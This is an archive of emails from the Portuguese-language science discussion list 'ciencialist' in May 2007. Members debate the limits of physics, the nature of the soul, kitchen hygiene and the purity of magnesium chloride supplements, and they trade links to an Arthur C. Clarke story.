Qual o valor da energia - em joules - gerad[a] por essa reação?
http://br.groups.yahoo.com/group/ciencialist/message/63164
--------------------

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Ferrari: ABC da CIENCIA
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/05/2007 17:13

Caro Ferrari,

Provavelmente você não sabe, mas a física responde muitas dessas perguntas
que você citou. Ocorre que, para entender as respostas, é necessário
conhecer matemática a fundo. Não adianta ler os livros de divulgação do
Hawking e achar que tudo que existe para saber é o que está escrito lá. Não
é assim. Antes de dizer que a física não tem respostas, é necessário
conhecer pelo menos relatividade geral e teoria dos campos quânticos. Caso
contrário, não dá nem para começar a conversar.

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Ferrari" <emailferrari@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, May 25, 2007 4:20 PM
Subject: Re: [ciencialist] Re: Ferrari: ABC da CIENCIA


> Olá Alvaro!
>
> Alavaro >>> A fisica responde muitas perguntas.
>
> --- Concordo com vc! Mas quando falei sobre as
> resposta que a fisica não tem, estou dizendo que ela
> não responde as perguntas que estou interessado, só
> isto. Questões que dizem respeito ao tempo, a matéria,
> ao determinismo, a medição, a força que chamamos de
> vida, entre outras, por exemplo.
>
> Alavaro >>> Ocorre que muitos não compreendem a
> resposta, por não dominarem a linguagem básica em que
> a resposta é escrita.
>
> --- Também concordo!
>
>
>
> sinceramente
> ferrari
>


SUBJECT: Quem tem isso?
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/05/2007 19:49

Fiquei sabendo da existência de uma curta história "A Slight Case of Sunstroke", de Arthur C. Clarke.
Quem tem isso? De preferência traduzido para o tupiniquim.
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


SUBJECT: Re: [ciencialist] Quem tem isso?
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/05/2007 20:13

----- Original Message -----
From: "Luiz Ferraz Netto"
Sent: Friday, May 25, 2007 7:49 PM
Subject: [ciencialist] Quem tem isso?

> Fiquei sabendo da existência de uma curta história "A Slight Case of
> Sunstroke", de Arthur C. Clarke. Quem tem isso? De preferência
> traduzido para o tupiniquim.

Estou tentando fazer o download do artigo em espanhol: "Um ligeiro
caso de insolação", arquivo pdf, 22 Kb. Estou na fila, com 670
internautas na minha frente. Se conseguir mando para o seu email.

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: Re: Quem tem isso?
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/05/2007 23:28

Olá Leo

Sabe em que livro ou coletânea foi publicado este conto? Se souber,
fica mais fácil encontrar uma versão on line para você.

Se estiver interessado apenas no problema proposto no conto, eu
encontrei uma versão em inglês neste link:

http://zebu.uoregon.edu/~probs/therm/sunstrok/sunstrok.html

Um abraço.

Homero


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Fiquei sabendo da existência de uma curta história "A Slight Case of
Sunstroke", de Arthur C. Clarke.
> Quem tem isso? De preferência traduzido para o tupiniquim.
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
>




SUBJECT: RE: [ciencialist] Re: p/o Shogum - O Raciocinio e o Prazer ::: (artigo)
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/05/2007 23:32

ok, convite anotado!
mas vou ficando por aí, amudado.
Repare como há uns que pouco ou quase nada escrevem.
Ontem foi o aniversário de Sidarta Gautama.
abr/M.


>From: "rmtakata" <roberto.takata@bol.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] Re: p/o Shogum - O Raciocinio e o Prazer :::
>(artigo)
>Date: Wed, 23 May 2007 04:35:34 -0000
>
>--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
> > Um dia vocês vão ganhar e este forum vai ser A MAIOR BOSTA, A MAIOR
> > PARADEZA, dentro da uniformidade FORMAL E ENLATADA, o palco das
> >''fontes intelectuais do saber'' e dos egos.
> > abr/M.
>
>Isso é ou não um pedido de exclusão?
>
>[]s,
>
>Roberto Takata
>
>
>
>##### ##### #####
>
>Página de apoio
>http://www.ciencialist.com
>
>
>##### ##### ##### #####
>Links do Yahoo! Grupos
>
>




SUBJECT: RE: [ciencialist] Re: Re(2): Microondas esteriliza.UCFilho
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/05/2007 23:38

Mas não fugindo do tema da thread, há tempos que pensei nisso:
- quero ver a bactéria ou virus sacudo que não possui uma molécula de água
dentro deles.
Se a exposição for bem feita, baubau...
abr/M.


>From: "rmtakata" <roberto.takata@bol.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] Re: Re(2): Microondas esteriliza.UCFilho
>Date: Thu, 24 May 2007 22:36:55 -0000
>
>--- Em ciencialist@yahoogrupos.com.br, "UCFilho" <ucfilho27182@...>
> > não concordo com a primeira colocação do autor ao considerar que a
> > leptospirose pode ser transmitida por latas em condições que alguém
> > venha a tomar uma boa cerveja onde o que se tem são vestígios de
> > urina seca na superfície da lata.
>
>Ele fala q teoricamente é possível. Ele voltou ao tema depois:
>
>"É verdade que há risco de contaminação ao beber alguma coisa direto
>de latinhas de refrigerante ou cerveja?
>
>Acredito que o perigo a que se refere a questão está relacionado com a
>leptospirose, doença infecciosa causada pela bactéria Leptospira
>interrogans, transmitida pela urina de ratos. A resposta é, então: não.
>
>Embora teoricamente seja possível, o contágio é muito difícil porque a
>latinha teria que estar acima dos 22ºC e a urina do roedor teria que
>ser recente. Como bebidas em lata geralmente são servidas frias, e
>urina fresca é visível e cheira mal, dificilmente alguém consumiria
>uma lata nessas condições.
>
>No entanto, por higiene, é indicada a passagem de água (corrente) na
>superfície da lata e de outros recipientes usados (plásticos, por
>exemplo)."
>http://adm.globolog.globo.com/globolog/publicacao/permalink.do?postId=295556
>
>[]s,
>
>Roberto Takata
>
>
>
>##### ##### #####
>
>Página de apoio
>http://www.ciencialist.com
>
>
>##### ##### ##### #####
>Links do Yahoo! Grupos
>
>




SUBJECT: P/ Alberto - Re: Quem tem isso?
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/05/2007 00:02

Olá Alberto

Eu encontrei essa versão em espanhol e postei na lista
(www.4shared.com). Deve ser a mesma.

Um abraço.

Homero


--- Em ciencialist@yahoogrupos.com.br, "Alberto Mesquita Filho"
<albmesq@...> escreveu
>
> ----- Original Message -----
> From: "Luiz Ferraz Netto"
> Sent: Friday, May 25, 2007 7:49 PM
> Subject: [ciencialist] Quem tem isso?
>
> > Fiquei sabendo da existência de uma curta história "A Slight Case of
> > Sunstroke", de Arthur C. Clarke. Quem tem isso? De preferência
> > traduzido para o tupiniquim.
>
> Estou tentando fazer o download do artigo em espanhol: "Um ligeiro
> caso de insolação", arquivo pdf, 22 Kb. Estou na fila, com 670
> internautas na minha frente. Se conseguir mando para o seu email.
>
> [ ]´s
> Alberto
> http://ecientificocultural.com/indice.htm
> Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
> coulombiana e a Terra se move. E a história se repetirá.
>




SUBJECT: Re: [ciencialist] Re: Quem tem isso?
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/05/2007 00:07

----- Original Message -----
From: "oraculo333" Sent: Friday, May 25, 2007 11:28 PM
Subject: [ciencialist] Re: Quem tem isso?

> Olá Leo
> Sabe em que livro ou coletânea foi publicado este conto?

Tales of Ten Worlds. Em espanhol: Relatos de diez mundos.

> Se souber, fica mais fácil encontrar uma versão on line para você.
> Se estiver interessado apenas no problema proposto no conto, eu
> encontrei uma versão em inglês...

Já mandei o arquivo em pdf (espanhol) para o Léo. Espero que ele tenha
recebido. Uma das maneiras de se conseguir este (e outros) textos (em
espanhol) do mesmo autor é associando-se à lista lg-an:
http://espanol.groups.yahoo.com/group/lg-an/ . Após associar-se, vá
para a seção "Archivos".

Para livros em espanhol arquivados em outros grupos vide
http://www.portallibro.com.ar/articles.php?lng=es&pg=314 . Para o caso
em apreço [Clarke, Arthur C], estando nesta página clique em "Best
Sellers - C(por autor)Yahoo" e copie o link do grupo onde está o
arquivo desejado.

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: Re: Sobre o abismo, para Silvio
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/05/2007 00:53

Salve, Silvio.

> Tenho dificuldades de entendimento: vs. diz "resistência espiritual
contra o avanço do conhecimento".

> data venia pergunto: o que é "espírito"?

Espírito, como estou empregando nesta frase, é o mesmo que alma, algo
que os humanos acreditam ter que está acima do mundo material de
causa e efeito. É uma substância divina que nos faz diferentes das
máquinas e do resto do mundo material. É algo que não está sujeito à
abordagem objetiva da ciência. Acreditar nisso é uma característica
universal dos humanos. Você encontra a crença nesse tipo de coisa em
todas as culturas do planeta, inclusive naquelas em que a ciência
está mais avançada. Nessas culturas, para evitarem ser classificados
como religiosos, muitos chamam essa coisa de força vital ou algo do
gênero.

Saudações,
João de Carvalho




SUBJECT: J. Carvalho: Ensaio sobre o cultural, o social e o biológico.
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/05/2007 01:04

João:
Biológicamente, o homem nasce sem nenhuma informação, conhecimento. Ao longo do tempo, carrega seus neurônios com as informações colhidas pelos seus sentidos na naturea que o cerca.
A cultura é percebida pelos sentidos e o cérebro, o processador dessa cultura, é biológico: ocorre aí a interação entre a mesma coisa pois tanto a natureza como o homem são produtos de processos bioquímicos quando há 3.740.000.000 anos surgiu a vida na Terra.
os dois se auxiliam mútuamente: o cérebro se expande para acumular mais informações, a natureza segue seu curso transformando o perfil da biosfera.

Concorda?

silvio.
----- Original Message -----
From: Joao de Carvalho
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, May 24, 2007 4:38 AM
Subject: [ciencialist] Ensaio sobre o cultural, o social e o biológico.


Estou postando um breve artigo na web, mas queria ouvir a opinião de
vocês antes de divulgá-lo abertamente.

Ensaio sobre o cultural, o social e o biológico.

É comum, nos dias atuais, discussões a respeito do comportamento
humano ser de origem cultural ou biológica. Também é comum misturar
sociedade e cultura, muitas vezes considerando-as como sendo a mesma
coisa. O que tenho observado é uma grande confusão a respeito desses
conceitos.

É importante tomar cuidado para que os conceitos que criamos não
atrapalhem mais que ajudem. Isto pode ocorrer quando os conceitos são
erguidos em bases não muito firmes, e ao tentar abordá-los podemos
passar dificuldades, ou mesmo nos ver discutindo falsos problemas.
Este é o caso dos conceitos que estamos aqui tratando. O cultural, o
social e o biológico são conceitos nebulosos cujas discussões podem
gerar muita confusão.

Continua em:
http://www.geocities.com/novaordem2003/ensaios/ensaio10.htm

João de Carvalho






------------------------------------------------------------------------------


No virus found in this incoming message.
Checked by AVG Free Edition.
Version: 7.5.467 / Virus Database: 269.7.7/816 - Release Date: 23/5/2007 15:59


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Re(2): Microondas esteriliza.UCFilho
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/05/2007 01:29

Francamente... Eu recomendo "anticorpos". :)))

Que vida besta essa de "esterilizar tudo". A naturreza gastou milhões
de anos nos preparando para viver com as bactérias e agora vem uns
sujeitos metidos a "esterilizados" querendo acabar com essa feliz união?

Oras... Deixem as bactérias em paz!

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "UCFilho" <ucfilho27182@...>
escreveu
>
> Boa tarde Takata e a todos,
>
> não há dúvidas que eliminar as bactérias de esponjas seja importante
> para saúde coletiva, mas os aclamados 99% não significam um bom
> resultado.
>
> Considerando que uma esponja tenha 10000 bactérias* seria necessário
> eliminar pelo menos 99.999% das bactérias para que se tenha a chance
> de que em cada dez vezes de uso da esponja recentemente limpa uma
> delas
> a esponja esteja contaminada.
>
> Quanto à URL do biomédico que você citou, o uso de hipoclorito
> garante resultados satisfatórios para tempos superiores à 1h **, mas
> não concordo com a primeira colocação do autor ao considerar que a
> leptospirose pode ser transmitida por latas em condições que alguém
> venha a tomar uma boa cerveja onde o que se tem são vestígios de
> urina seca na superfície da lata.
>
> Saudações. UCFilho
>
>
> --- Em ciencialist@yahoogrupos.com.br, "rmtakata"
> <roberto.takata@> escreveu
> >
> > --- Em ciencialist@yahoogrupos.com.br, "UCFilho" <ucfilho27182@>
> > > Também não creio que a discussão mata 99% seja razoável
> > > como motivo de satisfação.
> >
> > Segundo o biomédico Roberto Figueiredo:
> >
> > "10. Esponjas representam uma fonte de contaminação na cozinha?
> >
> > Realmente, a esponja é um foco de contaminação. Após cada
> utilização,
> > lavar com água e sabão, espremer bem, imergir em uma solução de 1
> > litro de água + 2 colheres de sopa de água sanitária, por 5 minutos.
> > Guardar em lugar seco, nunca sobre o sabão. Trocar pelo menos a cada
> > semana."
> > http://adm.globolog.globo.com/globolog/publicacao/permalink.do?
> postId=220027
> > -------------
> > []s,
> >
> > Roberto Takata
> >
>




SUBJECT: Re: Paradoxo: duas forças irresistíveis
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/05/2007 01:32

Em saudosos tempos eu e uma filósofa (Eliana, a Sofista) levamos esse
dilema às últimas conseqüências na lista Acrópolis. :)))

Mas não vou dizer a que conclusão chegamos, primeiro porque já me
esqueci, segundo porque senão serei moderado por ferrarismo exacerbado. :)

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> Pra mim qq computador ou mente trava para responder a esta pergunta:
> As facas Ginsu podem cortar as meias Vivarina?
>
> []s,
>
> Roberto Takata
>
> --- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
> > Para que não seja enquadrado nas leis em vigor solitito que jamais
> > pronuncie o nome de minha amada Jolie, podendo ficar conm Pitt
> > todinho procê.
> > Ingressei em um processo para que vs. entre na vara da família.
> >
> > silvio.
>




SUBJECT: Re: Sobre o abismo, para o JC.
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/05/2007 01:43

Mas Sirvio, cumpadre, eu não estou usando nenhum parâmetro para julgar
o Ferrari, estou apenas sentenciando de forma dogmática, axiomática,
unilateral e absolutamente livre de qualquer amarra lógica, de
qualquer metodologia científica ou não ou, ainda, se qualquer bom
senso! Ué, se isso vale para ele porque não valeria para mim? :)))

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
<scordeiroes@...> escreveu
>
> Zé:
>
> Veemente protesto contra qualquer alegação de insanidade do Ferrari:
os poetas não têm parâmetros para serem julgados:
> como os pintores é questão mais simples: gostar ou deletar, não
apreciar.
>
> Viu como aquela bandeirinha gostosa e ladrona garfou meu botafogo??
>
> sds.,
> silvio.
> ----- Original Message -----
> From: José Carlos Antonio
> To: ciencialist@yahoogrupos.com.br
> Sent: Thursday, May 24, 2007 12:53 AM
> Subject: [ciencialist] Re: Sobre o abismo, para o JC.
>
>
> João,
>
> Ninguém é mais doido que o Ferrari, não se preocupe. :)))
>
> Sim, falei das pílulas de "Matrix" mesmo.
>
> Referi-me à ignorância no sentido próprio do termo, pois em um
> universo tão "abissal" fica bem claro a extensão do que podemos saber
> (veja que não etou nem me referindo ao que "sabemos", mas sim ao que
> "podemos" saber).
>
> Abraços,
> JC
>
> --- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
> <joaobncarvalho@> escreveu
> >
> > Olá, JC.
> >
> > Obrigado pelo elogio à minha mensagem.
> >
> > > Essa sensação de "contemplar o abismo", que é uma bela forma
poética
> > > de admitir a ignorância como parte do método de aprendizagem,
> >
> > Perceber a ignorância a respeito do mundo também é algo abissal.
Mas
> > quando falei de contemplar o abismo estava pensando mais no oposto,
> > em ver como o mundo ele de fato é. O mundo não são colinas
> > verdejantes e um grande céu azul. Esta é uma visão muito
restrita de
> > mundo, de uma criatura que evoluiu na superfície de um planeta na
> > periferia de uma galáxia. O mundo é um espaço de dimensões que
> > achatam qualquer impressão intuitiva que tenhamos a respeito do
> > espaço, onde não existe em cima e embaixo, onde estrelas (bolas de
> > gás maiores e mais pesadas que qualquer coisa que o homem possa
> > imaginar), queimam irradiando enormes quantidades de energia
enquanto
> > giram em turbilhões de bilhões de estrelas. Se a quantidade de
> > estrelas em uma galáxia é absurda, a quantidade de galáxias que
> > existem é igualmente absurda, assim como as distâncias em que
elas se
> > encontram. As coisas são feitas de átomos, estruturas que
possuem um
> > núcleo absurdamente pequeno e ao redor do qual, a uma distância
> > enorme se comparada ao seu tamanho, encontra-se uma nuvem de
> > elétrons, seja lá o que for isto, que apresenta uma estrutura
> > complexa de camadas e orbitais. As "partículas" que compõem essas
> > estruturas emitem outras partículas, que são absorvidas por
outras e
> > assim elas interagem. O mundo não são as colinas verdejantes e o
céu
> > azul. Ele é um delírio. Um sonho. O grande sonho da razão. E como
> > Goya já observou, o sonho da razão produz monstros.
> >
> > > não é assim tão ruim, depende apenas de como você vê esse
abismo...
> >
> > Em geral nós temos uma atitude meio autista em relação ao
abismo. Por
> > mais que nos digam que estamos rodando em um turbilhão de estrelas,
> > nós não conseguimos sentir isto. É como se fosse um sonho.
> >
> > > Eu não fiz opção por pílulas vermelhas ou azuis.
> >
> > Eu não sei se você entendeu, estava me referindo ao filme
Matrix. Se
> > você toma a azul, você acorda feliz no dia seguinte acreditando
que o
> > mundo é feito de colinas verdejantes, se você toma a vermelha, você
> > contempla o abismo. Qual das duas você toma?
> >
> > > Bom, isso é conversa de Botequim e eu já tenho uma lista
povoada de
> > "doidos" como você onde me divirto bastante.
> >
> > Eu não sou mais doido que o Ferrari, sou?
> >
> > Saudações,
> > João de Carvalho
> >
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> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: Ferrari: ABC da CIENCIA
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/05/2007 01:49

Ué, a Física diz que o espaço é vazio, Ferrari? Será que estudei a
física errada, mudaram a física ou mudaram o espaço?

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...> escreveu
>
> Olá Bruna!
>
> Bruna >>> Oh, Ferrari, não há vázio na natureza...
>
> --- Concordo com vc! Quem diz que o espaço é vazio é a
> fisica, não sou eu.
>
> Bruna >>> ou há matéria ou há energia.
>
> --- Aqui discordo. Energia (Força) é o que anima a
> matéria. Sem uma força animando a matéria, ela seria
> inerte.
>
> Bruna >>> Ferrari, me interessam a crença e os anseios
> de outros seres, muito embora, eu tbm não deseje ser
> convencida por ninguém. Curosidade, apenas(?)
>
> --- Curiosidade é desejo de conhecer, fome de
> conhecer, nao acha?
>
> Bruna >>> Não existe livre-arbítrio na natureza.
>
> --- Depende do que vc chama de natureza. No meu
> conceito de natureza existe sim. Onde não existe
> livre-arbitrio é na manifestação da matéria. Mas a
> natureza não se restringe só a matéria. O tempo, por
> exemplo, faz parte da natureza, e não é material.
>
> Bruna >>> não podemos fazer as escolhas fundamentais.
> Podemos fazer escolhas simplórias, superficiais e
> "rasteiras" como o que comer e vestir ou que bairro
> morar...porém, escolhas essenciais são
> pré-determinadas pela nossa biologia, por exemplo.
>
> --- Neste sentido material que vc está falando ai,
> entendo não podemos fazer escolha nenhuma. A matéria é
> uma substancia indivisivel. Nenhum corpo está separado
> da matéria indivisivel, e a manifestação de qualquer
> um, é, de fato, a manifestação da materia indivisivel.
> A matéria se manifestando é como um filme num tela de
> cinema, vc olha para um personagem e acha que ele tem
> movimento independente na tela, mas ele não tem. O
> movimento de um personagem na tela é o movimento da
> imagem inteira, se a imagem inteira não se mover, o
> personagem também não se move. Enfim, o que a fisica
> chama de deslocamento (do corpo) é uma visão
> particular (recortada) da manifestação da matéria
> indivisivel.
>
> Bruna >>> Ferrari, fazem piada pelo simples fato de
> que estás a afirmar a importância secundária do que
> para eles representam o centro da ciência; a física
> como consequência e não causa.
>
> --- Sim, quando faltam argumentos, partimos pra
> porrada. Como aqui não dá pra dar porrada, tenta se
> agredir com ironias e xingamentos.
>
> Bruna >>> Gostei dessa visão "o peixe não vê a
> água"...realmente nós somos bastante limitados, e nos
> limitamos por nossas visões.
>
> --- Estou sobre "severa moderação" e só posso me
> expressar aqui com termos cientificos e de dicionário.
> Nada de poesia ou religião. Mas vc é mulher, tem
> sensibilidade e lida bem com imagens poéticas, assim,
> bastou eu dizer isto e vc já entendeu o livro inteiro,
> não é? Mulheres são poetas por natureza. Não sei o que
> faz aqui, voce é um peixe fora dágua.
>
> Bruna >>> Vc acredita que possa ser verdade que os
> nativos não tenham visualizados as caravelas?
>
> --- Não, não acredito! Mas também não acho impossivel.
> De qualquer forma, se tomarmos esta história apenas
> como exemplo, acho irrelevante pra se entender o fato
> psicológico que ela busca demonstrar. Que fato é este?
> O fato de que a qualidade do nosso interesse determina
> a qualidade do nosso foco de atenção. Vou te dar
> alguns exemplo. Quando estamos procurando um nome no
> celular, numa agenda, ou numa lista, se nosso
> interresse é pelo nome "Bruna", passamos pelos outros
> nomes que não começam com a letra "b", como se eles
> não estivessem ali. Quando uma mulher engrávida ela
> tendem a ver muitas outras mulheres grávidas pela rua.
> Quem põe aparelho, passa a ver muitas outras pessoas
> com aparelho. Se vc trabalha com uma determinada
> especialidade, vc ve coisas que parecem ficar
> invisiveis para outras pessoas. Enfim, ver não é
> prestar atenção. Acho que o interessante no exemplo
> das caravelas é tirar esta compreenção, quanto a
> realidade histórica da coisa, 100%, só mesmo como o
> nativo vindo em praça publica e dando seu depoimento,
> e ainda assim, vão querer os documentos de
> identificação do nativo, e foto dele, do lado da
> caravela, pra servir de prova. Ah! E a foto precisará
> passar na prova anti-photoshop.
>
>
>
> sinceramente
> ferrari
>
>
> EXPERIMENTE XIXI COM TINTA (novo
livro do Ferrari):
>
http://www.livrosvirtuais.com.br/vivali.asp?loja=1186&div=&link=VerProduto&Produto=97664
>
> MEU PORTAL:
> http://marceloferrari.blogspot.com
>
> Para receber meus textos inéditos (de literatura), envie um
email para:
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>




SUBJECT: Re: Sobre o abismo, para Silvio
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/05/2007 01:54

Credo, que conversa sobrenatural... Brrrrrr

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
<joaobncarvalho@...> escreveu
>
> Salve, Silvio.
>
> > Tenho dificuldades de entendimento: vs. diz "resistência espiritual
> contra o avanço do conhecimento".
>
> > data venia pergunto: o que é "espírito"?
>
> Espírito, como estou empregando nesta frase, é o mesmo que alma, algo
> que os humanos acreditam ter que está acima do mundo material de
> causa e efeito. É uma substância divina que nos faz diferentes das
> máquinas e do resto do mundo material. É algo que não está sujeito à
> abordagem objetiva da ciência. Acreditar nisso é uma característica
> universal dos humanos. Você encontra a crença nesse tipo de coisa em
> todas as culturas do planeta, inclusive naquelas em que a ciência
> está mais avançada. Nessas culturas, para evitarem ser classificados
> como religiosos, muitos chamam essa coisa de força vital ou algo do
> gênero.
>
> Saudações,
> João de Carvalho
>




SUBJECT: Re: [ciencialist] Re: Paradoxo: duas forças irresistíveis
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/05/2007 02:24

::JC:

o homem da memória curta....

tenho, com gosto, ainda guardado em aurífero escrínio cravejado de brilhantes o pedaço da vivarina que num assomo de paixão e loucura, arranquei com os dentes por entre as coxas virginais da vestal em questão.

É certo que algumas tentativas com as facas Guinzo foram veitas, a partir de propaganda enganosa dessa rudimentar ferramenta: consegui, simplesmente dotando meus dentes da mais porofunda paixão e exacerbado amor que conseguiram transformar as cordas que eram a matéria prima dos átomos das vivarinas em simples cordões, que num acesso de loucura, insanidade e deífico desejo, rompi a malha de aço simplesmente com a presença do amor.

E mais não disse nem lhe foi perguntado.

E espero que a vestal que hoje vive entre os homens da floresta no Brasil Central, tratando de problemas filosóficos sobre o que separa o ser do nada, com auxílio de xamãs e exercícios de purificação aos deuses.

boa noite,

silvio.
----- Original Message -----
From: José Carlos Antonio
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, May 26, 2007 1:32 AM
Subject: [ciencialist] Re: Paradoxo: duas forças irresistíveis


Em saudosos tempos eu e uma filósofa (Eliana, a Sofista) levamos esse
dilema às últimas conseqüências na lista Acrópolis. :)))

Mas não vou dizer a que conclusão chegamos, primeiro porque já me
esqueci, segundo porque senão serei moderado por ferrarismo exacerbado. :)

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> Pra mim qq computador ou mente trava para responder a esta pergunta:
> As facas Ginsu podem cortar as meias Vivarina?
>
> []s,
>
> Roberto Takata
>
> --- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
> > Para que não seja enquadrado nas leis em vigor solitito que jamais
> > pronuncie o nome de minha amada Jolie, podendo ficar conm Pitt
> > todinho procê.
> > Ingressei em um processo para que vs. entre na vara da família.
> >
> > silvio.
>






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SUBJECT: Re: [ciencialist] Re: Sobre o abismo, para Silvio
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/05/2007 02:46

João:

Vs. não repitiu meu texto ao final para que lembrasse do que escrevi.
Realmente errei se escreví "espírito".
Espírito, alma, força vital e similares não se enquadram na minha tacanha forma de pensar pois tenhjo a convicção de que os seres vivos têm a mesma origem e o vocábulo "espírito" como parte subrenatural dos seres, não tem evidência comprovada, faz parte de extenso rol de mitos e justificativas para dar fundamento aos princípios religiosos.

Nenhum ser vivo - todos tiveram a mesma origem - tem necessidade dessas "entidades"; quando usado como sinônimo de pensamento, raciocínio elucubração, é aceitável.
Meus pensamentntos são evolucionistas, concordo com Feuerbach que escreveu que a alma é uma tolice: por definição é um epifenômeno da corporeidade já que a origem de todas as coisas é a matéria. É um epifenômeno, doutrina segundo a qual os fenômenos "psiquicos"são meros acessórios dos movimentos nervosos.
quando penso, não uso os recursos da fé ou de princípios divinos: simplesmente procuro me pautar pelo que a natureza nos oferece. Coincidentemente agora acabei de recolher dados para situar-me de forma bem clara, ordenada, justificada, sobre o que é o início da vida.
Se houver tempo farei o possível para lançar mais êssas reflexões aqui no grupo.

Boa madrugada.....

obrigado pelo pitaco,

silvio.


----- Original Message -----
From: Joao de Carvalho
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, May 26, 2007 12:53 AM
Subject: [ciencialist] Re: Sobre o abismo, para Silvio


Salve, Silvio.

> Tenho dificuldades de entendimento: vs. diz "resistência espiritual
contra o avanço do conhecimento".

> data venia pergunto: o que é "espírito"?

Espírito, como estou empregando nesta frase, é o mesmo que alma, algo
que os humanos acreditam ter que está acima do mundo material de
causa e efeito. É uma substância divina que nos faz diferentes das
máquinas e do resto do mundo material. É algo que não está sujeito à
abordagem objetiva da ciência. Acreditar nisso é uma característica
universal dos humanos. Você encontra a crença nesse tipo de coisa em
todas as culturas do planeta, inclusive naquelas em que a ciência
está mais avançada. Nessas culturas, para evitarem ser classificados
como religiosos, muitos chamam essa coisa de força vital ou algo do
gênero.

Saudações,
João de Carvalho






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Cloreto de Magnésio
FROM: João Batista Ferreira de Andrade <ferreiraandrade2000@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/05/2007 09:36

Olá, caros listeiros

Revendo esta mensagem, gostaria de informar que faço uso do CLORETO DE MAGNÉSIO - atualmente sem "PA " ( Para análise ), com bons resultados...E, pelo que tenho pesquisado, o seu consumo é muito grande entre a população. Antes, os frascos traziam o tal "PA"...

No livro A SAÚDE brota da natureza, do Professor Jaime Bruning ( pag. 191 ), o Padre Beno Shorr alerta para só comprar o CLORETO DE MAGNÉSIO PA, aquele usado em laboratório. Ele diz que o de farmácia, sem especificação de pureza e sem ser "PA ", não serve para consumo, e depois de alguns anos de uso, facilmente gera um CÂNCER, devido ao acúmulo no organismo dos metais pesados que contém, como chumbo e outros.

...............................................................................................................
ALERTA: se assim for, teremos, brevemente, uma EPIDEMIA de CÂNCER pelo Brasil afora, pois, as embalagens vendidas nas farmácias, em geral, não apresentam a tal especificação "PA "...E informam que têm Autorização de Funcionamento M S 101 706. Pelo Tel SAC 0800 11 60 32, fui informado pelo "Químico" da área de fabricação que não era mais necessária esta informação "PA " no rótulo, pois foram dispensados pelos órgãos fiscalizadores da SAÚDE PÚBLICA!...E, que em breve, remeteria uma justificativa técnica para o meu conhecimento...Estou aguardando por mais de um ano...
.................................................................................................................

E agora, José?...

Alguém tem o e-mail do Padre J. Shorr para trocarmos algumas figurinhas?!...

Obrigado

João Batista ferreiraandrade2000@yahoo.com.br



